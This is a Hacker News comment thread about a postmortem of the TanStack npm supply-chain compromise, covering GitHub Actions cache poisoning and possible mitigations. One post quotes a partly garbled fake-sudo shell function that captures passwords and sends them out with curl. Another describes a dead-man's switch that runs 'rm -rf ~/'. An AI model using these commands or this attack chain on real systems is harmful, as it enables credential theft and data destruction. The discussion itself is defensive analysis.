Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Postmortem: TanStack NPM supply-chain compromise

tanstack.com

Post reply on HN
Print view View original

241–250 of 501 posts

Re: Postmortem: TanStack NPM supply-chain compromise

#241

Post by corvad »

cube00 wrote: post #41

Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...

I'm not quite sure of what this really accomplishes, like is it just M.A.D.? Like at that point the creds have been stolen and the whole machine is toast.

Re: Postmortem: TanStack NPM supply-chain compromise

#242

Post by corvad »

jonchurch_ wrote: post #173
chrisweekly wrote: post #40

Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.

The compromised action here was using pnpm. They poisoned the github action cache, which was caching the pnpm store. The chain required pull_request_target on the job to check bundle size, which had cache access and poisoned the main repo’s cache The malicious package that was publisjed will compromise local machines its installed in via the prepare script, though.

Yes, but the exploit was with Github Actions not something that pnpm really prevented.

Re: Postmortem: TanStack NPM supply-chain compromise

#243

Post by conradkay »

saghm wrote: post #88
andix wrote: post #78

Earlier quoted context omitted.

In this case it would have, because the compromised packages were pulled within 3 hours.

This sort of mitigation seems like it makes sense in the short term, but it seems like it would only work as long as most people don't do it. If everyone has this set to seven days, it will take seven days plus three hours to get things yanked, and then there will be people who will set to 14 days...

Mine's set to 1 day (seems to be enough from all the cases we've learned about), I got you.

Also seems like this attack and most others were caught by automated tooling from 3rd parties

Re: Postmortem: TanStack NPM supply-chain compromise

#244

Post by corvad »

827a wrote: post #167

Am I understanding this attack vector correctly: Did tanstack have anything misconfigured on their github or make any mistakes that led to this happening? This is the second time, at least, the github actions cache has been seemingly detrimental to massive and widespread supply chain compromise; what is going on over there?

At least my naive brain wonders if blocking force pushes to main would have stopped this as it is a setting in Github these days, unless I am misunderstanding the final attack vector since it seems it was force pushed.

Re: Postmortem: TanStack NPM supply-chain compromise

#245

Post by corvad »

consumer451 wrote: post #214
ssanderson11235 wrote: post #182

Earlier quoted context omitted.

The fundamental mistake here seems to have been not fully understanding the threat model of the pull_request_target action trigger. pull_request_target jobs run in response to various events related to a pull request opened against your repo from a fork (e.g, someone opens a new PR or updates an existing one). Unlike pull_request jobs, which are read-only by default, pull_request_target jobs have read/write permissio…

From a GitHub product owner POV, if the architecture is not to be changed, what is the solution? A big ugly warning in the UI? Or, push back on the architecture? Or, is threatening a big ugly warning in the UI actually pushing back on the architecture?

Many projects kind of take a different approach where for pull requests CI is not run until approvals from maintainers are given even for very simple jobs to avoid untrusted code running in ci.

Re: Postmortem: TanStack NPM supply-chain compromise

#247

Post by nozzlegear »

TacticalCoder wrote: post #211
lrvick wrote: post #179

Earlier quoted context omitted.

Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }

> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…

FYI, in English the phrase "since years" is grammatically incorrect and sounds unnatural to a native speaker's ears. The correct phrase would be "I've been using that setup for years."

/aside

Re: Postmortem: TanStack NPM supply-chain compromise

#248

Post by dominicm »

corvad wrote: post #241
cube00 wrote: post #41

Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...

I'm not quite sure of what this really accomplishes, like is it just M.A.D.? Like at that point the creds have been stolen and the whole machine is toast.

Even after the owner has realized the attack and revoked the token, there’s next steps (alerting the community, pulling from NPM) that causing havoc delays even by just a bit.

Re: Postmortem: TanStack NPM supply-chain compromise

#250

Post by zmmmmm »

getcrunk wrote: post #63

I think we are at the point where everyone really needs to run each project in its own vm. Given the recent lpe vulns docker 100% won’t cut it. And containers were never meant primarily as a security boundary anyways

it's not going to help if you share a cache across security boundaries. That is what happened here and seems to be driving a spate of github action related problems.
Post reply on HN